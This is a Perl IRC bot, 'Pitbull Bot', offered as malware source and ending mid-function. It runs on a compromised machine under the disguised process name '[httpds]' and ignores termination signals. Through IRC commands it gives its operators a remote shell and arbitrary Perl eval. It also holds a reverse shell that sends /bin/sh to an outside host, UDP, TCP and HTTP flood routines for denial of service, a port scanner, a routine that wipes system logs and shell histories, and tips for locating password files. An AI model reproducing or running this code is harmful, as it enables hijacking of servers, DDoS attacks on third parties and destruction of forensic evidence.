#!/usr/bin/perl
# Pitbull Bot
#
#Coded by : The_PitBull
#Modded by : Stitchup & sToRm - irc.rmachine.net / w4ck1ng.com
#
#Thanks to : 
# r0x00k  for testing and helping
# 
#
#
#You can use the following commands :
# !bot @portscan <ip>
# !bot @back <ip><port>	
# !bot @udpflood <ip> <packet size> <time>
# !bot @tcpflood <ip> <port> <packet size> <time>
# !bot @httpflood <site> <time>
# !bot @linuxhelp
# !bot @system
# !bot @milw0rm
# !bot @join <#channel>	
# !bot @part <#channel>
# !bot @help
# !bot cd tmp for example
#
#Mods (by Stitchup) :
# !bot @killme
# !bot @logs
# !bot @reset
#
# Removed the scan engines ;> 
#
#Mods (by sToRm) :
# major reduction of cpu usage
# added indents to code
#
#
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

######################
use HTTP::Request;
use LWP::UserAgent;
######################
my $processo = '[httpds]';
######################


######################
#   Configuration    # 
#                    #
############################################
my $linas_max='8';
#                                          #
# Maximum Lines for Anti Flood             #
############################################
my $sleep='10';
#                                          #                                      
#Sleep Time                                #
############################################
my @adms=("");
#                                          #
#Admins of the Bot set your nickname here  #
############################################
my @canais=("");
#                                          #
#Put your channel here                     #
############################################
my $password=("");
#                                          #
#Put your channel password (key) here      #
############################################
my @nickname = ("");
my $nick = $nickname[rand scalar @nickname];
#                                          #
#Nickname of bot                           #
############################################
my $ircname ='';
chop (my $realname = 'LiZ');
#                                          #
#IRC name and Realname                     #
############################################
$servidor='' unless $servidor;
my $porta='6667';
#                                          #
#IRCServer and port                        #
############################################
my $VERSAO = '11,1 PitBull BOT ';
#Dont Change                               #
############################################
#End of Configuration# 
#                    #
######################
$SIG{'INT'} = 'IGNORE';
######################
$SIG{'HUP'} = 'IGNORE';
######################
$SIG{'TERM'} = 'IGNORE';
######################
$SIG{'CHLD'} = 'IGNORE';
######################
$SIG{'PS'} = 'IGNORE';
######################
use IO::Socket;
######################
use Socket;
######################
use IO::Select;
######################
chdir("/");
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

#Connect
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
	if ($#_ == '1') {
		my $socket = $_[0];
		print $socket "$_[1]\n";

	} else {
		print $IRC_cur_socket "$_[0]\n";
	}
}

sub conectar {
	my $meunick = $_[0];
	my $servidor_con = $_[1];
	my $porta_con = $_[2];

	my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
	PeerPort=>$porta_con) or return(1);
	if (defined($IRC_socket)) {
		$IRC_cur_socket = $IRC_socket;
		$IRC_socket->autoflush(1);
		$sel_cliente->add($IRC_socket);
		$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
		$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
		$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
		$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
		nick("$meunick");
		sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
		sleep 1;
	}
}

my $line_temp;
while( 1 ) {
	while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
	select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
	delete($irc_servers{''}) if (defined($irc_servers{''}));
	my @ready = $sel_cliente->can_read(0);
	next unless(@ready);
	foreach $fh (@ready) {
		$IRC_cur_socket = $fh;
		$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
		$nread = sysread($fh, $msg, 4096);
		if ($nread == 0) {
			$sel_cliente->remove($fh);
			$fh->close;
			delete($irc_servers{$fh});
		}
		@lines = split (/\n/, $msg);
		for(my $c=0; $c<= $#lines; $c++) {
			$line = $lines[$c];
			$line=$line_temp.$line if ($line_temp);
			$line_temp='';
			$line =~ s/\r$//;
			unless ($c == $#lines) {
				parse("$line");
			} else {
				if ($#lines == 0) {
					parse("$line");
				} elsif ($lines[$c] =~ /\r$/) {
					parse("$line");
				} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
					parse("$line"); 
				} else {
					$line_temp = $line;
				}
			}
		}
	}
}

sub parse {
	my $servarg = shift;
	if ($servarg =~ /^PING \:(.*)/) {
		sendraw("PONG :$1");
	} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
		my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
		if ($args =~ /^\001VERSION\001$/) {
			notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
		}
		if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
			if ($onde eq "$meunick"){
				shell("$pn", "$args");
			}
  
#End of Connect

########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
  
######################
#      PREFIX        #
#                    #
######################
# You can change the prefix if you want but the commands will be different 
# The standard prefix is !bot if you change it into !bitch for example 
# every command will be like !bitch @udpflood, !bitch @googlescan.
# So its recommended not to change this ;)
######################

			if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
				my $natrix = $1;
				my $arg = $2;
				if ($arg =~ /^\!(.*)/) {
					ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
				} elsif ($arg =~ /^\@(.*)/) {
					$ondep = $onde;
					$ondep = $pn if $onde eq $meunick;
					bfunc("$ondep","$1");
				} else {
					shell("$onde", "$arg");
				}
			}
		}
	}
######################
#   End of PREFIX    #
#                    #
######################

	elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
		if (lc($1) eq lc($meunick)) {
			$meunick=$4;
			$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
		}
	} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
		nick("$meunick|".int rand(999999));
	} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
		$meunick = $2;
		$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
		$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
		foreach my $canal (@canais) {
			sendraw("JOIN $canal $key");
		}
	}
}

sub bfunc {
	my $printl = $_[0];
	my $funcarg = $_[1];
	if (my $pid = fork) {
		waitpid($pid, 0);
	} else {
		if (fork) {
			exit;
		} else {

			if ($funcarg =~ /^killme/) {
				sendraw($IRC_cur_socket, "QUIT :");
				$killd = "kill -9 ".fork;
				system (`$killd`);
			}

######################
#       Help         # 
#                    #
######################

			if ($funcarg =~ /^logs/) {
				sendraw($IRC_cur_socket, "PRIVMSG $chan :12(7@2LogCleaner12) 12This process can be long, just wait"); 
				system 'rm -rf /var/log/lastlog';
				system 'rm -rf /var/log/wtmp';
				system 'rm -rf /etc/wtmp';
				system 'rm -rf /var/run/utmp';
				system 'rm -rf /etc/utmp';
				system 'rm -rf /var/log';
				system 'rm -rf /var/logs';
				system 'rm -rf /var/adm';
				system 'rm -rf /var/apache/log';
				system 'rm -rf /var/apache/logs';
				system 'rm -rf /usr/local/apache/log'; 
				system 'rm -rf /usr/local/apache/logs';
				system 'rm -rf /root/.bash_history';
				system 'rm -rf /root/.ksh_history';
				sendraw($IRC_cur_socket, "PRIVMSG $chan :12(7@2LogCleaner12) 12All default log and bash_history files erased"); 
				sleep 2;
				sendraw($IRC_cur_socket, "PRIVMSG $chan :12(7@2LogCleaner12) 12Now Erasing the rest of the machine log files");
				system 'find / -name *.bash_history -exec rm -rf {} \;';
				system 'find / -name *.bash_logout -exec rm -rf {} \;';
				system 'find / -name "log*" -exec rm -rf {} \;';
				system 'find / -name *.log -exec rm -rf {} \;';
				sleep 2;
				sendraw($IRC_cur_socket, "PRIVMSG $chan :12(7@2LogCleaner12) 12Done! All logs erased"); 
			}

			if ($funcarg =~ /^help/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT  Help");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Select the function you want help for");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@ddos");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@backconnect");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@shell");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscanner");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@stitchup");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or if you want to know all the commands type:");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@commands");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT  Help");
			}

			if ($funcarg =~ /^ddos/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 There are 3 DDoS'ers in this bot");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 UDP flood, HTTP flood, and TCP flood");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");
			}

			if ($funcarg =~ /^backconnect/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You use backconnect like this :");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT ");
			}

			if ($funcarg =~ /^shell/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 This bot has an integrated shell");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use it in private but also public in the channel");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 In public channel just use : 7!bot cd tmp12 for example");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 For help with the linux commands type :!bot 7@linuxhelp");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT ");
			}

			if ($funcarg =~ /^portscanner/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 The portscanner is very easy to use just type the following :");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT ");
			}

			if ($funcarg =~ /^commands/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use the following commands :");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");	
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot cd tmp 12 for example");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@linuxhelp");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@system");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@milw0rm");	
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@join #channel");	
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@part #channel");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@killme");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@logs");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@reset");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT ");
			}

			if ($funcarg =~ /^linuxhelp/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Dir where you are : pwd");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Start a Perl file : perl file.pl");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Go back from dir : cd ..");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Force to Remove a file/dir : rm -rf file/dir;ls -la");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Show all files/dir with permissions : ls -lia");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find config.inc.php files : find / -type f -name config.inc.php");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all writable folders and files : find / -perm -2 -ls");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all .htpasswd files : find / -type f -name .htpasswd");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all service.pwd files : find / -type f -name service.pwd");
			}

			if ($funcarg =~ /^stitchup/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Stitchup added commands");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 To terminate the process, wipe logs, and reset the bot :");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@killme");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@logs");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@reset");
			}

######################
#   End of  Help     # 
#                    #
######################

######################
#     Commands       # 
#                    #
######################

			if ($funcarg =~ /^system/) {
				$uname=`uname -a`;
				$uptime=`uptime`;
				$ownd=`pwd`;
				$distro=`cat /etc/issue`;
				$id=`id`;
				$un=`uname -sro`;
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
			}

			if ($funcarg =~ /^milw0rm/) {
				my @ltt=();
				my @bug=();
				my $x;
				my $page="";
				my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
				print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
				my @r = <$socke>;
				$page="@r";
				close($socke);
				while ($page =~  m/<title>(.*)</g){
					$x = $1;
					if ($x =~ /\&lt\;/) {
						$x =~ s/\&lt\;/</g;
					}			
					if ($x !~ /milw0rm/) {
						push (@bug,$x);
					}
				}
				while ($page =~  m/<link.*expl.*([0-9]...)</g) {
					if ($1 !~ m/milw0rm.com|exploits|en/){
						push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
					}
				}
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12 Latest exploits :");
				foreach $x (0..(@ltt - 1)) {
					sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
					sleep 1;
				}
			}
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#      Portscan      # 
#                    #
######################

			if ($funcarg =~ /^portscan (.*)/) {
				my $hostip="$1";
				@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
				my (@aberta, %porta_banner);
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Scanning for open ports on  4".$1." 12 started .");
				foreach my $porta (@portas)  {
					my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
						'tcp', Timeout => 4);
					if ($scansock) {
						push (@aberta, $porta);
						$scansock->close;
					}
				}
 
				if (@aberta) {
					sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Open ports founded: @aberta");
				} else {
					sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 No open ports foundend.");
				}
			}

######################
#  End of  Portscan  # 
#                    #
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#  Join And Part     # 
#                    #
######################
			if ($funcarg =~ /^reset/) {
				sendraw($IRC_cur_socket, "QUIT :");
			}
			if ($funcarg =~ /^join (.*)/) {
				sendraw($IRC_cur_socket, "JOIN ".$1);
			}
			if ($funcarg =~ /^part (.*)/) {
				sendraw($IRC_cur_socket, "PART ".$1);
			}
######################
#End of Join And Part# 
#                    #
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#     TCPFlood       # 
#                    #
######################

			if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
				sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4TCP DDoS12:.4|12 Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
				my $itime = time;
				my ($cur_time);
				$cur_time = time - $itime;
				while ($3>$cur_time){
					$cur_time = time - $itime;
					&tcpflooder("$1","$2","$3");
				}
				sendraw($IRC_cur_socket,"PRIVMSG $printl :4|12.:4TCP DDoS12:.4| 12Attack done 4 ".$1.":".$2.".");
			}
######################
#  End of TCPFlood   # 
#                    #
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#   Back Connect     # 
#                    #
######################
			if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
				my $host = "$1";
				my $porta = "$2";
				my $proto = getprotobyname('tcp');
				my $iaddr = inet_aton($host);
				my $paddr = sockaddr_in($porta, $iaddr);
				my $shell = "/bin/sh -i";
				if ($^O eq "MSWin32") {
					$shell = "cmd.exe";
				}
				socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
				connect(SOCKET, $paddr) or die "connect: $!";
				open(STDIN, ">&SOCKET");
				open(STDOUT, ">&SOCKET");
				open(STDERR, ">&SOCKET");
				system("$shell");
				close(STDIN);
				close(STDOUT);
				close(STDERR);
				if ($estatisticas){
					sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4BackConnect12:.4|12 Connecting to 4 $host:$porta");
				}
			}
######################
#End of  Back Connect# 
#                    #
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#     HTTPFlood      # 
#                    #
######################
		if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
			sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
			my $itime = time;
			my ($cur_time);
			$cur_time = time - $itime;
			while ($2>$cur_time){
				$cur_time = time - $itime;
				my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
				print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
				close($socket);
			}
			sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
		}
######################
#  End of HTTPFlood  # 
#                    #
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################
######################
#     UDPFlood       # 
#                    #
######################
		if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
			sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
			my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
			$dtime = 1 if $dtime == 0;
			my %bytes;
			$bytes{igmp} = $2 * $pacotes{igmp};
			$bytes{icmp} = $2 * $pacotes{icmp};
			$bytes{o} = $2 * $pacotes{o};
			$bytes{udp} = $2 * $pacotes{udp};
			$bytes{tcp} = $2 * $pacotes{tcp};
			sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDoS12:.4|12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
		}
######################
#  End of Udpflood   # 
#                    #
######################
		exit;
	}

}


sub ircase {
	my ($kem, $printl, $case) = @_;
	if ($case =~ /^join (.*)/) {
		j("$1");
	}
	if ($case =~ /^part (.*)/) {
		p("$1");
	}
	if ($case =~ /^rejoin\s+(.*)/) {
		my $chan = $1;
		if ($chan =~ /^(\d+) (.*)/) {
			for (my $ca = 1; $ca <= $1; $ca++ ) {
				p("$2");
				j("$2");
			}
		} else {
			p("$chan");
			j("$chan");
		}
	}

	if ($case =~ /^op/) {
		op("$printl", "$kem") if $case eq "op";
		my $oarg = substr($case, 3);
		op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
	}

	if ($case =~ /^deop/) {
		deop("$printl", "$kem") if $case eq "deop";
		my $oarg = substr($case, 5);
		deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
	}

	if ($case =~ /^msg\s+(\S+) (.*)/) {
		msg("$1", "$2");
	}

	if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
		for (my $cf = 1; $cf <= $1; $cf++) {
			msg("$2", "$3");
		}
	}

	if ($case =~ /^ctcp\s+(\S+) (.*)/) {
		ctcp("$1", "$2");
	}

	if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
		for (my $cf = 1; $cf <= $1; $cf++) {
			ctcp("$2", "$3");
		}
	}

	if ($case =~ /^nick (.*)/) {
		nick("$1");
	}

	if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
		conectar("$2", "$1", 6667);
	}

	if ($case =~ /^raw (.*)/) {
		sendraw("$1");
	}

	if ($case =~ /^eval (.*)/) {
		eval "$1";
	}

}


sub shell {
	my $printl=$_[0];
	my $comando=$_[1];
	if ($comando =~ /cd (.*)/) {
		chdir("$1") || msg("$printl", "No such file or directory");
		return;
	} elsif ($pid = fork) {
		waitpid($pid, 0);
	} else {
		if (fork) {
			exit;
		} else {
			my @resp=`$comando 2>&1 3>&1`;
			my $c=0;
			foreach my $linha (@resp) {
				$c++;
				chop $linha;
				sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
				if ($c == "$linas_max") {
					$c=0;
					sleep $sleep;
				}
			}
			exit;
		}
	}
}

sub tcpflooder {
	my $itime = time;
	my ($cur_time);
	my ($ia,$pa,$proto,$j,$l,$t);
	$ia=inet_aton($_[0]);
	$pa=sockaddr_in($_[1],$ia);
	$ftime=$_[2];
	$proto=getprotobyname('tcp');
	$j=0;$l=0;
	$cur_time = time - $itime;
	while ($l<1000){
		$cur_time = time - $itime;
		last if $cur_time >= $ftime;
		$t="SOCK$l";
		socket($t,PF_INET,SOCK_STREAM,$proto);
		connect($t,$pa)||$j--;
		$j++;
		$l++;
	}
	$l=0;
	while ($l<1000){
		$cur_time = time - $itime;
		last if $cur_time >= $ftime;
		$t="SOCK$l";
		shutdown($t,2);
		$l++;
	}
}



sub udpflooder {
	my $iaddr = inet_aton($_[0]);
	my $msg = 'A' x $_[1];
	my $ftime = $_[2];
	my $cp = 0;
	my (%pacotes);
	$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
	socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
	socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
	socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
	socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
	return(undef) if $cp == 4;
	my $itime = time;
	my ($cur_time);
	while ( 1 ) {
		for (my $porta = 1; $porta <= 65000; $porta++) {
			$cur_time = time - $itime;
			last if $cur_time >= $ftime;
			send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
			send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
